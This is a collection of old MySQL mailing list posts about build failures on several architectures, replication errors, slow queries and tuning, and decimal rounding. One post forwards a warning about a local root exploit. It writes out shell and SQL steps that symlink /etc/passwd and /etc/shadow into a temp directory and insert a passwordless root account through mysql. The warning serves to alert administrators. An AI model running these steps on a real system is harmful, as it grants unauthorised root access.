http://http.us.debian.org unstable/main mysql-common 3.23.40-1 [13.7kB] Fetched 13.7kB in 0s (29.3kB/s) Selecting previously deselected package libiodbc2. (Reading database ... 32232 files and directories currently installed.) Unpacking libiodbc2 (from .../libiodbc2_2.50.3-4_ia64.deb) ... Selecting previously deselected package libiodbc2-dev. Unpacking libiodbc2-dev (from .../libiodbc2-dev_2.50.3-4_ia64.deb) ... Selecting previously deselected package mysql-common. Unpacking mysql-common (from .../mysql-common_3.23.40-1_all.deb) ... Selecting previously deselected package libmysqlclient10. Unpacking libmysqlclient10 (from .../libmysqlclient10_3.23.39-4.1_ia64.deb) ... Selecting previously deselected package libmysqlclient10-dev. Unpacking libmysqlclient10-dev (from .../libmysqlclient10-dev_3.23.39-4.1_ia64.deb) ... Setting up libiodbc2 (2.50.3-4) ... Setting up libiodbc2-dev (2.50.3-4) ... Setting up mysql-common (3.23.40-1) ... Setting up libmysqlclient10 (3.23.39-4.1) ... Setting up libmysqlclient10-dev (3.23.39-4.1) ... Checking correctness of source dependencies... -- dpkg-source: extracting myodbc2.50.37 in myodbc2.50.37-2.50.37 dpkg-buildpackage: source package is myodbc2.50.37 dpkg-buildpackage: source version is 2.50.37-3 dpkg-buildpackage: host architecture is ia64 /usr/bin/fakeroot debian/rules clean dh_testdir dh_testroot rm -f build-stamp install-stamp # Add here commands to clean up after the build process. /usr/bin/make clean make[1]: Entering directory `/home/randolph/debian/myodbc2.50.37-2.50.37' make[1]: *** No rule to make target `clean'. Stop. make[1]: Leaving directory `/home/randolph/debian/myodbc2.50.37-2.50.37' make: [clean] Error 2 (ignored) /usr/bin/make distclean make[1]: Entering directory `/home/randolph/debian/myodbc2.50.37-2.50.37' make[1]: *** No rule to make target `distclean'. Stop. make[1]: Leaving directory `/home/randolph/debian/myodbc2.50.37-2.50.37' make: [clean] Error 2 (ignored) dh_clean rm -f debian/libmyodbc2.50.37.substvars debian/libmyodbc2.50.37.postinst.debhelper debian/libmyodbc2.50.37.postrm.debhelper debian/libmyodbc2.50.37.preinst.debhelper debian/libmyodbc2.50.37.prerm.debhelper rm -rf debian/libmyodbc2.50.37 rm -f debian/files rm -f debian/substvars debian/postinst.debhelper debian/postrm.debhelper debian/preinst.debhelper debian/prerm.debhelper find . -type f -a \( -name \#\*\# -o -name \*\~ -o -name DEADJOE -o -name \*.orig -o -name \*.rej -o -name \*.bak -o -name .\*.orig -o -name .\*.rej -o -name .SUMS -o -name TAGS -o -name core -o \( -path \*/.deps/\* -a -name \*.P \) \) -exec rm -f {} \; debian/rules build dh_testdir libtoolize --force --copy You should update your `aclocal.m4' by running aclocal. aclocal aclocal: both `configure.ac' and `configure.in' present: ignoring `configure.in' ./configure \ --prefix=/usr \ --enable-shared \ --enable-static \ --with-odbc-ini=/etc/odbc.ini \ --with-iodbc=/usr \
won't build on hppa
Hello Does anybody know how to get MySQL build on HPPA architecture? bye, -christian- -- Real men don't take backups. They put their source on a public FTP-server and let the world mirror it. -- Linus Torvalds Package: mysql Version: 3.23.39-1 Hi, trying to build mysql on hppa. It dies in the isam directory: willy@paer:~/mysql/mysql-3.23.39/isam$ make /bin/sh ../libtool --mode=link gcc -O3 -DDBUG_OFF -O2 -g -rdynamic -o isamchk isamchk.o sort.o libnisam.a ../mysys/libmysys.a ../dbug/libdbug.a ../strings/libmystrings.a -lpthread -lz -lcrypt -lnsl -lm -lpthread gcc -O3 -DDBUG_OFF -O2 -g -rdynamic -o isamchk isamchk.o sort.o libnisam.a ../mysys/libmysys.a ../dbug/libdbug.a ../strings/libmystrings.a -lpthread -lz -lcrypt -lnsl -lm -lpthread ../mysys/libmysys.a(my_tempnam.o): In function `my_tempnam': /home/willy/mysql/mysql-3.23.39/mysys/my_tempnam.c:100: the use of `tempnam' is dangerous, better use `mkstemp' ../mysys/libmysys.a(raid.o): In function `my_raid_create': /home/willy/mysql/mysql-3.23.39/mysys/raid.cc:130: undefined reference to `operator new(unsigned)' /usr/bin/ld: raid.o(.text+0xb0): cannot find stub entry 0014__Znwj+0 /usr/bin/ld: raid.o(.text+0xb0): cannot handle R_PARISC_PCREL17F for operator new(unsigned) /home/willy/mysql/mysql-3.23.39/mysys/raid.cc:134: undefined reference to `operator delete(void*)' /usr/bin/ld: raid.o(.text+0x128): cannot find stub entry 0014__ZdlPv+0 /usr/bin/ld: raid.o(.text+0x128): cannot handle R_PARISC_PCREL17F for operator delete(void*) ../mysys/libmysys.a(raid.o): In function `my_raid_open': /home/willy/mysql/mysql-3.23.39/mysys/raid.cc:152: undefined reference to `operator new(unsigned)' /usr/bin/ld: raid.o(.text+0x19c): cannot find stub entry 0014__Znwj+0 /usr/bin/ld: raid.o(.text+0x19c): cannot handle R_PARISC_PCREL17F for operator new(unsigned) /home/willy/mysql/mysql-3.23.39/mysys/raid.cc:156: undefined reference to `operator delete(void*)' /usr/bin/ld: raid.o(.text+0x210): cannot find stub entry 0014__ZdlPv+0 /usr/bin/ld: raid.o(.text+0x210): cannot handle R_PARISC_PCREL17F for operator delete(void*) ../mysys/libmysys.a(raid.o): In function `my_raid_close': /home/willy/mysql/mysql-3.23.39/mysys/raid.cc:288: undefined reference to `operator delete(void*)' /usr/bin/ld: raid.o(.text+0x70c): cannot find stub entry 0014__ZdlPv+0 /usr/bin/ld: raid.o(.text+0x70c): cannot handle R_PARISC_PCREL17F for operator delete(void*) collect2: ld returned 1 exit status make: *** [isamchk] Error 1 these symbols are all in libstdc++, so this can be cured in one of two ways. Either use `g++' instead of gcc to do the link step, or explicitly add -lstdc++ to the command line: willy@paer:~/mysql/mysql-3.23.39/isam$ g++ -O3 -DDBUG_OFF -O2 -g -rdynamic -o isamchk isamchk.o sort.o libnisam.a ../mysys/libmysys.a ../dbug/libdbug.a ../strings/libmystrings.a -lpthread -lz -lcrypt -lnsl -lm -lpthread ../mysys/libmysys.a(my_tempnam.o): In function `my_tempnam': /home/willy/mysql/mysql-3.23.39/mysys/my_tempnam.c:100: the use of `tempnam' is dangerous, better use `mkstemp' willy@paer:~/mysql/mysql-3.23.39/isam$ gcc -O3 -DDBUG_OFF -O2 -g -rdynamic -o isamchk isamchk.o sort.o libnisam.a ../mysys/libmysys.a ../dbug/libdbug.a ../strings/libmystrings.a -lpthread -lz -lcrypt -lnsl -lm -lpthread -lstdc++ ../mysys/libmysys.a(my_tempnam.o): In function `my_tempnam': /home/willy/mysql/mysql-3.23.39/mysys/my_tempnam.c:100: the use of `tempnam' is dangerous, better use `mkstemp' how would you prefer to fix this? this is using g++ 3.0, btw, since this is the only compiler available for hppa. you can check any changes you make on hppa by logging into paer.debian.org. -- Revolutions do not require corporate support. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
fails to build on ARM architecture
Hello Does anybody know if MySQL can be build on the arm architecture? (This bug was reported against the Debian MySQL packages) bye, -christian- With 3.23.37-3 I'm now seeing a different failure: gcc -DDEFAULT_CHARSET_HOME=\/usr\ -DDATADIR=\/var/lib/mysql\ -DSHAREDIR=\/usr/share/mysql\ -I./../include -I../include -I./.. -I.. -I.. -O3 -DDBUG_OFF -O2 -fomit-frame-pointer -g -c libmysql.c -fPIC -DPIC cc1: warning: -g with -fomit-frame-pointer may not give sensible debugging libmysql.c: In function `mysql_real_connect': libmysql.c:1303: warning: passing arg 5 of `gethostbyname_r' from incompatible pointer type libmysql.c:1303: too few arguments to function `gethostbyname_r' libmysql.c:1303: warning: assignment makes pointer from integer without a cast make[3]: *** [libmysql.lo] Error 1 make[3]: Leaving directory `/build/buildd/mysql-3.23.37/libmysql_r' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/build/buildd/mysql-3.23.37' make[1]: *** [all-recursive-am] Error 2 make[1]: Leaving directory `/build/buildd/mysql-3.23.37' make: *** [build-stamp] Error 2 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[jcz@mylinepcx.com: Bug#95872: replication failure]
Hello This came through the Debian BugTrackingSystem but I have no clue about it. bye, -christian- Package: mysql-server Version: 3.23.33-3 Severity: normal from /var/log/mysql.err: 010430 16:06:52 Slave: Failed reading log event, reconnecting to retry, log 'FIRST' position 4 010430 16:06:52 Slave: reconnected to master 'repl@espsv0002:3306',replication resumed in log 'FIRST' at position 4 010430 16:06:52 Error reading packet from server: Binlog has bad magic number, fire your magician (read_errno 0,server_errno=65535) -- System Information Debian Release: testing/unstable Architecture: i386 Kernel: Linux Linux1 2.2.15 #1 Thu Jun 1 10:47:16 EST 2000 i586 Versions of packages mysql-server depends on: ii adduser 3.33 Add and remove users and groups to ii debconf 0.9.28 Debian configuration management sy ii libc6 2.2.2-4GNU C Library: Shared libraries an ii libdbi-perl 1.14-4 The Perl5 Database Interface by Ti ii libmysqlclient10 3.23.33-3 mysql database client library ii libstdc++2.10-glibc2.21:2.95.3-6 The GNU stdc++ library ii libwrap0 7.6-7 Wietse Venema's TCP wrappers libra ii mysql-client 3.23.33-3 mysql database client binaries ii perl 5.6.0-20 Larry Wall's Practical Extracting ii zlib1g1:1.1.3-12 compression library - runtime - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
TYPE=BDB is ignored!
Hello I compiled on an UltraSparc II Linux with libc-2.2.2 and say CREATE TABLE t (t int) TYPE=BDB; but it creates a MyISAM without any warning. Why? BDB seems to be compiled in correctly: ch@vore:~/test$ nm usr/bin/mysqld |grep berke 000822c0 t _GLOBAL_.D.have_berkeley_db 000822a4 t _GLOBAL_.I.have_berkeley_db 0019dd38 D have_berkeley_db Any hints how to debug this? bye, -christian- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
please tell me what Init in processlist means
Hello I tried upgrading from MySQL-3.21.33 to 3.23.35 on an old linux host. It worked but the new mysql version was *horrible* slow. E.g. under exactly same situations I came to ca. 300 inserts/second with the old and 20 with the new version making it absolutely unusable :-( The only recognisable difference between the both was that the new mostly show | 107 | root | localhost | westend | Query | insert into channel_traffic |(timestamp, hostname, inte ... when I enter mysqladmin processlist whereas the old one mostly said | 107 | root | localhost | westend | Init | insert into channel_traffic |(timestamp, hostname, inte ... I know that a query traverses several states but it is strange that the new version takes so long in this "Init" state. As it works well on a nother host with a recent linux distribution I guess there're some problems with...something... Can anybody explain what "Init" does? thanks in advance, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
BUG: alter table destroys symbolic links!
Hello If table xyz is a symbolic link (recommended in the manual for very big files that do not fit on a single partition) then "ALTER TABLE xyz TYPE=ISAM;" ignores this, removes the link and recreate the table on the data directory. I consider it a bug, as it is a) not what the user expects, even repair, optimise and other alter table functions do not work like this b) a user that has no shell account has no other way to alter the table type c) this can be used as a denial of service attack as mysql hangs when getting a "no space left" error message and this is a way to more around the system administrators disk-quota settings! This was tested with the latest MySQL-3.23.35 on linux (ext2 reiserfs, although this shouldn't matter in for the symlink handling) bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
warning: mysql local root exploit when running as root
Hello This one appeared on a Debian mailing list. I know that this is fixed in the latest versions as they allow running the server as non-root user and so it is not considered as a bug () but I'm sure that there're administrators out there which are not aware of this exploiting method! bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified Hi, At first, an apology if this came by earlier, i accidentally removed quite some debian-* mail, and i don't know of a -private archive for developers. As seen on some mailinglist, can't remember which one: $ cd /var/tmp $ ln -s /etc/passwd gotcha.ISD $ ln -s /etc/shadow make_me_r00t.ISD $ mysql -u user -h localhost -p somepassword '../../tmp' create table gotcha(qqq varchar(255)); create table make_me_r00t(qqq varchar(255)); insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n'); insert into make_me_r00t values('\nr00t::1:0:9:7:-1:-1:\n'); \q Testing/unstable both have =3.23-ish, stable has 3.22-ish. testing/unstable are not vulnerable, i didn't have a stable box at hand to try. Anyone who has tried this on stable? In my opinion, the whole idea of being able to specify an alternate database location to the mysql server is a problem, and I never have seen a real use for it (correct me if i'm wrong). I'm pondering on filing a bug against mysql-server for the whole alternate-location thing (bugs keep popping up with stuff ranging from these symlink tricks to stuff like 'select * from infile'-ish problems that allow reading from any file). Greets, Robert -- Linux Generation -- Please respect the privacy of this mailing list. To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[philb@gnu.org: Bug#88186: mysql: Fails to build on ARM: char sign issue?]
Hi Hope this helps you to make mysql working on ARM architecture, too. bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified This isn't actually a signed-char issue. The signedness problem comes about because mysql's configure script is spuriously selecting "int" rather than "socklen_t" as SOCKET_SIZE_TYPE. The root cause is actually that the configure script tries to build things with "-g -fomit-frame-pointer -Werror". Mixing -g and -fomit-frame-pointer always elicits a "may not give sensible debugging" warning; combined with -Werror this means that every test is deemed to have failed. For ARM, the performance gain from -fomit-frame-pointer is going to be marginal anyway so the best thing to do is probably just to take it out. p. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
What to optimize when disc activita is very high?
Hi I have a long-running select that's basicly just summing a couple of columns in a 1-2GB big table. It lasts for 5-10 hours and I notice that the disc activity is *very* high: vmstat 1 says: 5 0 0 30332 3068 5240 129260 0 0 10260 658 498 63 35 3 4 0 0 30332 3192 5244 129132 0 0 10240 617 441 54 44 2 6 0 0 30332 2140 5244 130156 0 0 1024 187 661 464 64 35 2 5 0 0 30332 2168 5240 130160 0 0 11520 787 595 65 35 0 6 0 0 30332 3292 5244 130160 0 0 11550 574 453 63 31 6 I have 256MB Ram and a Pentium II processor, which variables should I raise to get this select faster? My current config and the select are attached below. Thanks in advance for *any* help! bye, -christian- EXPLAIN SELECT sum( channel_traffic.in_bytes + channel_traffic.out_bytes ) as raw_traffic, channel_traffic.in_bytes + channel_traffic.out_bytes - 1.2* ( channel_traffic.in_uc_packets + channel_traffic.out_uc_packets + channel_traffic.in_mc_packets + channel_traffic.out_mc_packets ) as adj_traffic, min(channel_traffic.timestamp) as start, max(channel_traffic.timestamp) as end, count(*) FROM channel_traffic WHERE channel_traffic.timestamp between "2001-02-01" and "2001-02-28 23:59:59" GROUP BY channel_traffic.hostname, channel_traffic.interfacename +-+--+---+--+-+--++-+ | table | type | possible_keys | key | key_len | ref | rows | Extra | | +-+--+---+--+-+--++-+ | channel_traffic | ALL | NULL | NULL |NULL | NULL | 269474 | where |used; Using temporary | +-+--+---+--+-+--++-+ ++--+--+-+-+---+ | Field | Type | Null | Key | Default | Extra | ++--+--+-+-+---+ | timestamp | datetime | | PRI | -00-00 00:00:00 | | | hostname | varchar(15) | | PRI | | | | interfacename | varchar(30) | | PRI | | | | in_bytes | int(10) unsigned | | | 0 | | | out_bytes | int(10) unsigned | | | 0 | | | in_uc_packets | int(10) unsigned | | | 0 | | | out_uc_packets | int(10) unsigned | | | 0 | | | in_mc_packets | int(10) unsigned | | | 0 | | | out_mc_packets | int(10) unsigned | | | 0 | | ++--+--+-+-+---+ #log= /var/log/mysql.log skip-locking set-variable= key_buffer=64M set-variable= max_allowed_packet=1M set-variable= table_cache=128 set-variable= sort_buffer=2M set-variable= record_buffer=2M set-variable= thread_cache=2 set-variable= thread_concurrency=2 # Try number of CPU's*2 set-variable= myisam_sort_buffer_size=16M -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
decimal(8,2) rounding bug or still to be expected behaviour?
Hello CREATE TABLE deci (deci decimal(8,2)); INSERT INTO deci VALUES (-2427.88); INSERT INTO deci VALUES (2427.89); INSERT INTO deci VALUES (-0.01); select sum(deci) as s from deci having s0; +---+ | s | +---+ | -0.00 | +---+ Well for the values given above - monetary values - the datatype seems just fine. I would even be ok if mysql treats something that is really rounded up to 0 but not in fact 0 as 0 but in this case I cannot see the reason. Is this a bug or is the decimal type just evil or how should *I* behave when having such a table? thanks bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
optimizing select on big table
Hello My selects still last several hours. Can anybody give me a hint which parameters to tune when the main selects look like the following one on a 1.5GB big table with aprox 1 million affected rows? join_buffer_size| 131072 key_buffer_size | 67104768 max_heap_table_size | 16777216 max_join_size | 4294967295 max_sort_length | 1024 max_write_lock_count| 4294967295 myisam_sort_buffer_size | 16777216 net_buffer_length | 16384 record_buffer | 2093056 sort_buffer | 2097144 table_cache | 128 thread_cache_size | 2 on a Intel PentiumII/233MHz with RAID5 and MySQL-3.23.33. CREATE TABLE channel_traffic ( timestamp datetime NOT NULL default '-00-00 00:00:00', hostname varchar(15) NOT NULL default '', interfacename varchar(30) NOT NULL default '', in_bytes int(10) unsigned NOT NULL default '0', out_bytes int(10) unsigned NOT NULL default '0', in_uc_packets int(10) unsigned NOT NULL default '0', out_uc_packets int(10) unsigned NOT NULL default '0', in_mc_packets int(10) unsigned NOT NULL default '0', out_mc_packets int(10) unsigned NOT NULL default '0', PRIMARY KEY (timestamp,hostname,interfacename) ) TYPE=MyISAM PACK_KEYS=1; select '2001-03-05 11:11:11', concat(hostname," ",interfacename) as channels_line, sum( channel_traffic.in_bytes + channel_traffic.out_bytes ) as raw_traffic, sum( channel_traffic.in_bytes + channel_traffic.out_bytes - 0.9 * ( channel_traffic.in_uc_packets + channel_traffic.out_uc_packets + channel_traffic.in_mc_packets + channel_traffic.out_mc_packets ) ) as adj_traffic, min(channel_traffic.timestamp) as start, max(channel_traffic.timestamp) as end, count(*) from channel_traffic where channel_traffic.timestamp between "2001-03-01" and "2001-03-03" and channel_traffic.timestamp between "2000-01-01" and "2999-12-31" group by channels_line ; explain +-+---+---+-+-+--+-+-+ | table | type | possible_keys | key | key_len | ref | rows| Extra | | +-+---+---+-+-+--+-+-+ | channel_traffic | range | PRIMARY | PRIMARY | 8 | NULL | 1636199 | where |used; Using temporary | +-+---+---+-+-+--+-+---------+ thanks, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: optimizing select on big table
On Fri, Mar 09, 2001 at 02:05:42PM +0200, Richard Ellerbrock wrote: Add another index on your timestamp column. Also, I think timestamp is a reserved word. Maybe you should rename the column to something else. ... PRIMARY KEY (timestamp,hostname,interfacename) ) TYPE=MyISAM PACK_KEYS=1; I realized that timestamp is my "main" column but does adding another seperat timestamp something? The docs say that searching for the first part of a multiple-key is fine. bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: decimal(8,2) rounding bug or still to be expected behaviour?
On Fri, Mar 09, 2001 at 08:13:24AM -0600, Gerald L. Clark wrote: I think you meant select sum(deci) as s where deci0; select sum(deci) as s from deci having s0; No, I really meant my SELECT. MySQL counted the 3 values together but instead of coming to the conclusion that the sum is zero it showed me -0.00 as output by in a comparision to 0 the "output" of the sum(deci) was *not* 0 but something different. (I wanted to see how many customers with open or unbalanced invoices we have and mysql always gave me a much to high number because it made rouding errors when adding the sums) bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
wishlist: create_tmp_priv in mysql.db
Hello I like to propose the attribute create_tmp_priv as little alternative to create_priv. The reason is that due to the lack of sub-selects temporary tables which can be created with the same name at the same time by many connections are often very usefull. But I won't give every user the right to populate the harddisc with permanent data i.e. with real create statements. Or is there an easier solution? bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
optimising joins: where vs. using/on
Hello list While browsing old sources by a former employee I realised that he always did comma seperated joins and then a "where" FROM tablea a, tableb b, tablec c WHERE a.id=b.id and b.nr=c.nr whereas I learned to do FROM tablea a LEFT JOIN table b USING (id) LEFT JOIN table c USING (nr) Is one of the two ways preferred about the other? I like my way as it is easier to read and understand but would use anything to gain some speed in my 5+ hour selects... bye, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: optimising joins: where vs. using/on
On Thu, Mar 08, 2001 at 10:29:20AM -0700, Steve Ruby wrote: He is doing an inner join, you are doing a left join, they (potentialy) do not produce the same results. Hmm have to think about it... inner means fields where the right table has a NULL value in the condition are left out, right? If you have 5 hour selects you are probably missing some vital indexes, or you are using a long of like '%blah' or "OR" ... or using 1.5GB big tables... thanks, -christian- -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Question regarding query optimising with between
Hello I have a table with a normal multiple key on a datetime field called "end". I want to search for the number of records in some months. I know that there are none. Now "explain" tells me that a querey with a WHERE clause of end between '2001-01-01' and '2001-04-01' affects just one row whereas end '2001-01-01' affects all 705949 rows! Why this? I cannot find the docs that explain this speed enhancement. I'd even thought that a "" would be faster as it is just one check and the parser could say "every row" starting from index position X. bye, -christian- Full explain results: mysql explain select count(*) from radius0800 where ende between "2001-01-01" and "2001-04-01"; ++---+---+--+-+--+--+--- --+ | table | type | possible_keys | key | key_len | ref | rows | Extra | ++---+---+--+-+--+--+--- --+ | radius0800 | range | ende | ende | 4 | NULL |1 | where used ; Using index | ++---+---+--+-+--+--+--- --+ 1 row in set (0.00 sec) mysql explain select count(*) from radius0800 where ende "2001-01-01"; ++---+---+--+-+--++- + | table | type | possible_keys | key | key_len | ref | rows | Extra | ++---+---+--+-+--++- + | radius0800 | range | ende | ende | 4 | NULL | 705949 | where us ed; Using index | ++---+---+--+-+--++----- + 1 row in set (0.00 sec) -- Christian HammersWESTEND GmbH - Aachen und Dueren Tel 0241/701333-0 [EMAIL PROTECTED] Internet Security for ProfessionalsFax 0241/911879 WESTEND ist CISCO Systems Partner - Premium Certified - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[hazelsct@mit.edu: Bug#88186: mysql: Fails to build on ARM: char sign issue?]
Hello Any ideas? -christian- Package: mysql Version: 3.23.33-1 Severity: normal Greetings, The build fails on ARM. Here's the end of the build log: g++ -DMYSQL_SERVER-DDEFAULT_MYSQL_HOME="\"/usr\"" -DDATADIR="\"/var/lib/mysql\"" -DSHAREDIR="\"/usr/share/mysql\""-DHAVE_CONFIG_H -I./../include -I./../regex-I. -I../include -I.. -I.-O3 -DDBUG_OFF -O2 -fomit-frame-pointer -g -felide-constructors -fno-exceptions -fno-rtti -fno-implicit-templates -c mini_client.cc cc1plus: warning: -g with -fomit-frame-pointer may not give sensible debugging mini_client.cc: In function `int mc_sock_connect(int, const sockaddr *, unsigned int, unsigned int)': mini_client.cc:300: passing `size_socket *' as argument 5 of `getsockopt(int, int, int, void *, socklen_t *)' changes signedness mini_client.cc: In function `struct MYSQL * mc_mysql_connect(MYSQL *, const char *, const char *, const char *, const char *, unsigned int, const char *, unsigned int)': mini_client.cc:590: passing `int *' as argument 5 of `gethostbyname_r(const char *, hostent *, char *, unsigned int, hostent **, int *)' make[4]: *** [mini_client.o] Error 1 make[4]: Leaving directory `/redhat/packages/mysql-3.23.33/sql' Looks like it might be a char sign issue. ARM defaults to unsigned char (as does PPC). Does a "signed" or "unsigned" need to go in front of "char" in one of these files? I'd suggest "-funsigned-char", but that can cause other problems (like the Gnucash "missing cents" bug, where signed-char's CHAR_MAX=127 was being compared to precompiled unsigned CHAR_MAX=255 in glibc). Thanks, -Adam P. GPG fingerprint: D54D 1AEE B11C CE9B A02B C5DD 526F 01E8 564E E4B6 Welcome to the best software in the world today cafe! -- System Information Debian Release: testing/unstable Kernel Version: Linux p4-117-1 2.4.1 #1 Fri Feb 9 14:11:44 GMT 2001 armv4l unknown - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
tab-completition not working with libreadline4
Hello Since a few weeks tablename completition using tab is not working any longer. I build with bundled lbireadline and with my system libreadline (4.2) but neither work as I am used to. Any ideas? bye, -christian- - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Antwort: tab-completition not working with libreadline4
